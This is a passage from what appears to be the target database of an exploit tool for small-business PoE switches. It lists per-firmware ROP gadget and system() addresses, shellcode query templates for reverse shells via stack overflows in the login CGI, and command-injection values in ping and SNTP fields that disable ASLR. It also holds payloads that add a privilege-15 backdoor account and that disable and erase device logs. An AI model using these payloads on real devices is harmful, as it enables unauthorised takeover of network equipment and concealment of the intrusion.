'model':'GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP',
'uri':'https://kb.netgear.com/000060184/GS728TPv2-GS728TPPv2-GS752TPv2-GS752TPP-Firmware-Version-6-0-0-45',
'version':'6.0.0.45',
'info_leak':False,
'hash_uri':True,
'login': {
'encryption':'encode',
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'query':'{"_ds=1&username=USERNAME&pwd=PASSWORD&err_flag=0&err_msg=&submt=&_de=1":{}}',
},
'verify': {
'set.cgi': {
'description':'Stack overflow in "username" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(100) +'&pwd=NOP&err_flag=0&err_msg=&submt=&_de=1":{}}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'gadget': 0x45678C,
'system': 0x8f99853c,
'handler': 0x2484ae5c,
'v0': 6,
'safe': False
},
'stack_cgi_diag': {
'vulnerable': False,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
},
},
'639-73124': {
'template':'Netgear',
'model':'GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP',
'uri':'https://www.netgear.com/support/product/GS752TPv2#Firmware%20Version%206.0.0.37',
'version':'6.0.0.37',
'info_leak':False,
'hash_uri':True,
'login': {
'encryption':'encode',
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'query':'{"_ds=1&username=USERNAME&pwd=PASSWORD&err_flag=0&err_msg=&submt=&_de=1":{}}',
},
'verify': {
'set.cgi': {
'description':'Stack overflow in "username" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(100) +'&pwd=NOP&err_flag=0&err_msg=&submt=&_de=1":{}}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'gadget': 0x45778C,
'system': 0x8f998538,
'handler': 0x2484afec,
'v0': 6,
'safe': False
},
'stack_cgi_diag': {
'vulnerable': False,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
},
},
'225-63242': {
'template':'Edimax',
'model':'GS-5424PLC',
'uri':'https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/smb_switches_poe/gs-5424plc',
'version':'1.1.1.5',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40E6DC,
'system': 0x8f998524,
'handler': 0x248411bc,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
'stack_cgi_diag': {
'web_sys_ping_post':0x40DFF4,
'sys_ping_post_cmd':'&srvHost=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1',
'sys_ping_post_check':'',
'verify_uri':'/tmp/check',
'vulnerable': True,
},
'stack_cgi_log': {
'log_settings_set':0x41D99C,
'log_ramClear':0x41D8E4,
'log_fileClear':0x41D8E4,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x41620C,
'sys_timeSntpDel_set':0x41620C,
'sys_timeSettings_set':0x41620C,
'vulnerable': False,
},
'heack_cgi_shell': {
'cgi':'set.cgi',
'START':0x7ffeff04,
'STOP':0x7fc60000,
'usr_nop': 64,
'pwd_nop': 77,
'align': 3,
'stack':True,
'vulnerable': True,
},
},
},
'225-96283': {
'template':'Edimax',
'model':'GS-5424PLC',
'uri':'https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/smb_switches_poe/gs-5424plc',
'version':'1.1.1.6',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40E6DC,
'system': 0x8f998524,
'handler': 0x248411ac,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
'stack_cgi_diag': {
'web_sys_ping_post':0x40E024,
'sys_ping_post_cmd':'&srvHost=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1',
'sys_ping_post_check':'',
'verify_uri':'/tmp/check',
'vulnerable': True,
},
'stack_cgi_log': {
'log_settings_set':0x41D9EC,
'log_ramClear':0x41D934,
'log_fileClear':0x41D934,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x416254,
'sys_timeSntpDel_set':0x416254,
'sys_timeSettings_set':0x416254,
'vulnerable': True,
},
'heack_cgi_shell': {
'cgi':'set.cgi',
'START':0x7ffeff04,
'STOP':0x7fc60000,
'usr_nop': 64,
'pwd_nop': 77,
'align': 3,
'stack':True,
'vulnerable': True,
},
},
},
'222-71560': {
'template':'Zyxel',
'version':'2.40_AAHL.1_20180705',
'model':'GS1900-24',
'uri':'https://www.zyxel.com/products_services/8-10-16-24-48-port-GbE-Smart-Managed-Switch-GS1900-Series/',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40D60C,
'system': 0x8f998520,
'handler': 0x2484e148,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_diag': {
'address':0x4341C4,
'vulnerable': False,
},
'stack_cgi_add_account': {
'address':0x436D9C,
'account':'&usrName=USERNAME&usrPrivType=15&usrPriv=15',
'vulnerable': True,
},
'stack_cgi_del_account': {
'address':0x437124,
'account':'&_del=1',
'vulnerable': True,
},
'stack_cgi_log': {
'log_settings_set':0x47D760,
'log_ramClear':0x480804,
'log_fileClear':0x480804,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x43BA8C,
'sys_timeSntpDel_set':0x43BA8C,
'sys_timeSettings_set':0x43AF54,
'vulnerable':False,
},
'heack_cgi_shell': {
'cgi':'dispatcher.cgi',
'query':'username='+ self.random_string(100) +'_RA_START&password='+ self.random_string(59) +'&STARTUP_BACKUP=1'+ (('&' + struct.pack('>L',0x2404FF3D) + struct.pack('>L',0x2404FFFF)) * 70) + '&' + struct.pack('>L',0x2404FF3D) +'_SHELLCODE',
'START':0x10010104,
'STOP': 0x104006A0,
'usr_nop': 25,
'pwd_nop': 15,
'align': 0,
'stack':False,
},
},
},
'222-40570': {
'template':'Realtek',
'version':'3.0.0.43126',
'model':'RTL8380-24GE-4GEC',
'uri':'https://www.realtek.com/en/products/communications-network-ics/item/rtl8381m-vb-cg-2',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40E6DC,
'system': 0x8f99851c,
'handler': 0x24841ea8,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
'stack_cgi_diag': {
'sys_ping_post_cmd':'ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space&count=1',
'verify_uri':'/tmp/pingtest_tmp',
'web_sys_ping_post':0x422980,
'vulnerable': True,
},
'stack_cgi_log': {
'log_settings_set':0x481968,
'log_ramClear':0x4847DC,
'log_fileClear':0x4847DC,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x42C8F0,
'sys_timeSntpDel_set':0x42C8F0,
'sys_timeSettings_set':0x42C8F0,
'vulnerable': True,
},
'heack_cgi_shell': {
'cgi':'dispatcher.cgi',
'query':'username=_USRNOP&password=_PWDNOP_RA_START&login=1&_USRNOP_USRNOP_SHELLCODE',
'START':0x7fff7004,
'STOP':0x7fc60000,
'usr_nop': 28,
'pwd_nop': 20,
'align': 0,
'stack':True,
'vulnerable': True,
},
},
},
'13984-12788': {
'template':'OpenMESH',
'version':'01.03.24_180823-1626',
'model':'OMS24',
'uri':'https://www.openmesh.com/',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40E12C,
'system': 0x8f99851c,
'handler': 0x248405a0,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_add_account': {
'address':0x424890,
'account':'&na=USERNAME&pw=PASSWORD&pv=0&op=1&',
'vulnerable': True,
},
'stack_cgi_del_account': {
'address':0x424890,
'account':'&na=USERNAME&pw=&pv=0&op=0',
'vulnerable': True,
},
'stack_cgi_diag': {
'sys_ping_post_cmd':'&ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space #&mh=30&uid=0',
'sys_ping_post_check':'&ip=127.0.0.1 ; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&uid=0',
'verify_uri':'/conf_tmp/check',
'web_sys_ping_post': 0x424248,
'vulnerable': True,
},
'stack_cgi_log': {
'log_settings_set':0x43EA88,
'log_ramClear':0x440660,
'log_fileClear':0x440660,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x425260,
'sys_timeSntpDel_set':0x425260,
'sys_timeSettings_set':0x425260,
'vulnerable': True,
},
'heack_cgi_shell': {
'cgi':'security.cgi',
'START':0x100181A0,
'STOP':0x104006A0,
'usr_nop': 987,
'pwd_nop': 69,
'align': 0,
'stack':False,
'vulnerable': True,
},
},
},
'222-64895': {
'template':'Xhome',
'version':'3.0.0.43126',
'model':'DownLoop-G24M',
'uri':'http://www.xhome.com.tw/product_info.php?info=p116_XHome-DownLoop-G24M----------------------------------------.html',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40E6DC,
'system': 0x8f99851c,
'handler': 0x24841ea8,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
'stack_cgi_diag': {
'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space&count=1',
'verify_uri':'/tmp/pingtest_tmp',
'web_sys_ping_post':0x4229A0,
'vulnerable': True,
},
'stack_cgi_log': {
'log_settings_set':0x481988,
'log_ramClear':0x4847FC,
'log_fileClear':0x4847FC,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x42C910,
'sys_timeSntpDel_set':0x42C910,
'sys_timeSettings_set':0x42B6F8,
'vulnerable': True,
},
'heack_cgi_shell': {
'cgi':'dispatcher.cgi',
'query':'username=_USRNOP&password=_PWDNOP_RA_START&login=1&_USRNOP_USRNOP_SHELLCODE',
'START':0x7fff7004,
'STOP':0x7fc60000,
'usr_nop': 28,
'pwd_nop': 20,
'align': 0,
'stack':True,
'vulnerable': True,
},
},
},
'225-21785': {
'model':'SX-8P',
'template':'Pakedge',
'version':'1.04',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40C86C,
'system': 0x8f998538,
'handler': 0x248492ec,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_diag': {
'vulnerable': False,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
'stack_cgi_log': {
'log_settings_set':0x413AEC,
'log_ramClear':0x413A14,
'log_fileClear':0x413A14,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x4108E4,
'sys_timeSntpDel_set':0x4108E4,
'sys_timeSettings_set':0x4108E4,
'vulnerable': True,
},
'heack_cgi_shell': {
'cgi':'set.cgi',
'START':0x7ffeff04,
'STOP':0x7fc60000,
'usr_nop': 64,
'pwd_nop': 77,
'align': 3,
'stack':True,
'vulnerable': True,
},
},
},
'752-95168': {
'template':'DrayTek',
'version':'2.1.4',
'model':'VigorSwitch P1100',
'uri':'https://www.draytek.com/products/vigorswitch-p1100/',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40C67C,
'system': 0x8f99852c,
'handler': 0x248490ac,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_diag': {
'vulnerable': False,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
'stack_cgi_log': {
'log_settings_set':0x413E34,
'log_ramClear':0x413D64,
'log_fileClear':0x413D64,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x410CA8,
'sys_timeSntpDel_set':0x410CA8,
'sys_timeSettings_set':0x410CA8,
'vulnerable': True,
},
'heack_cgi_shell': {
'cgi':'set.cgi',
'START':0x7ffeff04,
'STOP':0x7fc60000,
'usr_nop': 64,
'pwd_nop': 77,
'align': 3,
'stack':True,
'vulnerable': True,
},
},
},
'224-5061': {
'template':'Cerio',
'version':'1.00.29',
'model':'CS-2424G-24P',
'uri':'https://www.cerio.com.tw/eng/switch/poe-switch/cs-2424g-24p/',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40E6DC,
'system': 0x8f998524,
'handler': 0x248411bc,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
'stack_cgi_diag': {
'sys_ping_post_cmd':'&srvHost=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1',
'sys_ping_post_check':'',
'web_sys_ping_post':0x40E114,
'verify_uri':'/tmp/check',
'vulnerable': True,
},
'stack_cgi_log': {
'log_settings_set':0x41DB4C,
'log_ramClear':0x41DA94,
'log_fileClear':0x41DA94,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x415F14,
'sys_timeSntpDel_set':0x415F14,
'sys_timeSettings_set':0x415F14,
'vulnerable': False,
},
'heack_cgi_shell': {
'cgi':'set.cgi',
'START':0x7ffeff04,
'STOP':0x7fc60000,
'usr_nop': 64,
'pwd_nop': 77,
'align': 3,
'stack':True,
'vulnerable': True,
},
},
},
'222-45866': {
'template':'Abaniact',
'version':'116B00033',
'model':'AML2-PS16-17GP L2',
'uri':'https://www.abaniact.com/L2SW/',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40E65C,
'system': 0x8f998524,
'handler': 0x2484152c,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
'stack_cgi_diag': {
'web_sys_ping_post':0x429F58,
'sys_ping_post_cmd':'ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/traceroute_tmp #&tr_maxhop=30&count=1',
'verify_uri':'/tmp/traceroute_tmp',
'vulnerable': True,
},
'stack_cgi_log': {
'log_settings_set':0x4B4FE4,
'log_ramClear':0x4BA5D0,
'log_fileClear':0x4BA5D0,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x43764C,
'sys_timeSntpDel_set':0x43764C,
'sys_timeSettings_set':0x431CC4,
'vulnerable': False,
},
'heack_cgi_shell': {
'cgi':'dispatcher.cgi',
'query':'username=admin&password=_PWDNOP_RA_START&login=1&shellcod=_USRNOP_USRNOP_USRNOP_SHELLCODE',
'START':0x7ffe6e04,
'STOP':0x7fc60000,
'stack':True,
'usr_nop': 53,
'pwd_nop': 45,
'align': 0,
'vulnerable': True,
'workaround':True,
},
},
},
'222-81176': {
'template':'TG-NET',
'version':'3.1.1-R1',
'model':'P3026M-24POE (V3)',
'uri':'http://www.tg-net.net/productshow.asp?ProdNum=1049&parentid=98',
'exploit': {
'heack_hydra_shell': {
'gadget': 0x40C74C,
'system': 0x8f99851c,
'handler': 0x2484a2d4,
'v0': 7,
'vulnerable': True,
},
'stack_cgi_diag': {
'vulnerable': False,
},
'stack_cgi_add_account': {
'vulnerable': False,
},
'stack_cgi_del_account': {
'vulnerable': False,
},
'stack_cgi_log': {
'log_settings_set':0x46AC10,
'log_ramClear':0x46E368,
'log_fileClear':0x46E368,
'vulnerable': True,
},
'stack_cgi_sntp': {
'sys_timeSntp_set':0x42243C,
'sys_timeSntpDel_set':0x42243C,
'sys_timeSettings_set':0x424DE0,
'vulnerable':False,
},
'heack_cgi_shell': {
'cgi':'dispatcher.cgi',
'query':'username='+ self.random_string(112) +'_RA_START&password='+ self.random_string(80) +'&login=1'+ ('&%24%04%FF=%24%04%FF%FF' * 50) +'_SHELLCODE',
'START':0x10010104,
'STOP' :0x10600604,
'usr_nop': 28,
'pwd_nop': 20,
'align': 0,
'stack':False,
'vulnerable': True,
},
},
},
}
Vendor_Template = {
'Planet': {
'vendor': 'PLANET Technology Corp.',
'modulus_uri':'',
'info_leak':False,
'info_leak_JSON':False,
'info_leak_uri':'',
'xsid':False,
'xsid_uri':'',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':False,
'encryption':'clear',
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'query':'username=USERNAME&password=PASSWORD&login=1',
'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'vulnerable': True,
'safe': True
},
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':False,
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'LOGGING_SERVICE=0&cmd=5121',
'status':'',
'clean_logfile_uri':'/cgi-bin/dispatcher.cgi',
'clean_logfile_query':'cmd_5132=Clear+file+messages',
'clean_logmem_uri':'/cgi-bin/dispatcher.cgi',
'clean_logmem_query':'cmd_5132=Clear+buffered+messages',
'vulnerable': True,
'safe': True
},
'verify': {
'httpuploadbakcfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadbakcfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httpuploadruncfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadruncfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httprestorecfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httprestorecfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httpupload.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload.cgi',
'check_uri':'',
'content':'dummy',
'content_check':'Image Signature Error',
'vulnerable': True,
'safe': True
},
'dispatcher.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'response':'502',
'Content-Type':False,
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username=admin&password='+ self.random_string(184) + '&login=1',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX',
'vulnerable': True,
'safe': False
},
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'json':False,
'authenticated': False,
'encryption':'md5',
'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" secret encrypted PASSWORD\n\n------',
'add_uri':'/cgi-bin/httpuploadruncfg.cgi',
'del_query':'',
'del_uri':'/cgi-bin/dispatcher.cgi?cmd=526&usrName=USERNAME',
'vulnerable': True,
'safe': True
},
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':False,
'authenticated': True,
'enable_uri':'/cgi-bin/dispatcher.cgi',
'enable_query':'sntp_enable=1&cmd=548',
'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
'inject_uri':'/cgi-bin/dispatcher.cgi',
'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550',
'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550',
'delete_uri':'/cgi-bin/dispatcher.cgi',
'delete_query':'sntp_Server=+&sntp_Port=123&cmd=550',
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'sntp_enable=0&cmd=548',
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_diag': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'&_CMD_&login=1',
'sys_ping_post_check':'',
'sys_ping_post_SIGSEGV': False,
'workaround':True,
'vulnerable': True,
'safe': True
},
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'_CMD_&login=1',
'log_settings_set_cmd':'&LOGGING_SERVICE=0',
'log_settings_set_SIGSEGV':False,
'log_ramClear_cmd':'',
'log_ramClear_SIGSEGV':False,
'log_fileClear_cmd':'',
'log_fileClear_SIGSEGV':False,
'workaround':True,
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'_CMD_&login=1',
'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123',
'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123',
'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=123',
'sys_timeSettings_set_cmd_enable':'&sntp_enable=1',
'sys_timeSettings_set_cmd_disable':'&sntp_enable=0',
'sys_timeSettings_set_SIGSEGV': False,
'workaround':True,
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&login=1',
'workaround':True,
'stack':True,
'vulnerable': True,
'safe': True
},
},
},
'Cisco': {
'vendor': 'Cisco Systems, Inc.',
'model':'Sx220',
'uri':'https://www.cisco.com/c/en/us/support/switches/small-business-220-series-smart-plus-switches/tsd-products-support-series-home.html',
'modulus_uri':'/cgi/get.cgi?cmd=home_login',
'info_leak':True,
'info_leak_JSON':True,
'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
'xsid':True,
'xsid_uri':'/cgi/get.cgi?cmd=home_main',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'rsa',
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'vulnerable': True,
'safe': True
},
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':True,
'disable_uri':'/cgi/set.cgi?cmd=log_settings',
'disable_query':'{"_ds=1&ram_sev_0=on&ram_sev_1=on&ram_sev_2=on&ram_sev_3=on&ram_sev_4=on&ram_sev_5=on&ram_sev_6=on&_de=1":{}}',
'status':'/cgi/get.cgi?cmd=log_settings',
'clean_logfile_uri':'/cgi/set.cgi?cmd=log_fileClear',
'clean_logfile_query':'{"":{}}',
'clean_logmem_uri':'/cgi/set.cgi?cmd=log_ramClear',
'clean_logmem_query':'{"":{}}',
'vulnerable': True,
'safe': True
},
'verify': {
'httpuploadbakcfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httpuploadbakcfg.cgi',
'check_uri':'/tmp/startup-config',
'content':'/mnt/backup-config',
'content_check':'/mnt/backup-config',
'vulnerable': True,
'safe': True
},
'httpuploadlang.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/update "language" (PoC: Create invalid file to verify)',
'uri':'/cgi/httpuploadlang.cgi',
'check_uri':False,
'content': self.random_string(30),
'content_check':'errMsgLangMG',
'vulnerable': True,
'safe': True
},
'httpuploadruncfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httpuploadruncfg.cgi',
'check_uri':'/tmp/http_saverun_cfg',
'content':'/var/config/running-config',
'content_check':'/var/config/running-config',
'vulnerable': True,
'safe': True
},
'httprestorecfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httprestorecfg.cgi',
'check_uri':'/tmp/startup-config',
'content':'/mnt/startup-config',
'content_check':'/mnt/startup-config',
'vulnerable': True,
'safe': True
},
'httpupload.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload.cgi',
'check_uri':'/tmp/http_uploadfail',
'content':'Copy: Illegal software format',
'content_check':'Copy: Illegal software format',
'vulnerable': True,
'safe': True
},
'login.cgi': {
'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)',
'authenticated': False,
'response':'file',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'check_uri':'/tmp/VUL.TXT',
'content':'{"_ds=1&username='+ self.random_string(32) +'&password=/tmp/VUL.TXT&_de=1":{}}',
'content_check':'2',
'vulnerable': True,
'safe': True
},
'set.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX',
'vulnerable': True,
'safe': False
},
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'authenticated': False,
'json':True,
'encryption':'md5',
'content':'Content-Type\n\nconfig-file-header\nusername "USERNAME" secret encrypted PASSWORD\n\n------',
'add_uri':'/cgi/httpuploadruncfg.cgi',
'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
'del_uri':'/cgi/set.cgi?cmd=aaa_userDel',
'vulnerable': True,
'safe': True
},
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':True,
'authenticated': True,
'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp',
'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}',
'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}',
'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel',
'delete_query':'{"":{}}',
'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}',
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_diag': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'sys_ping_post_SIGSEGV': True,
'workaround':False,
'vulnerable': True,
'safe': True
},
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'log_settings_set_cmd':'',
'log_settings_set_SIGSEGV':True,
'log_ramClear_cmd':'',
'log_ramClear_SIGSEGV':True,
'log_fileClear_cmd':'',
'log_fileClear_SIGSEGV':True,
'workaround':False,
'verify_uri':'',
'vulnerable': True,
'safe': True
},
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'sys_timeSntp_set_cmd':'&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123',
'sys_timeSntp_set_check':'&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123',
'sys_timeSntpDel_set_cmd':'&sntpServer=+&cursntpPort=123',
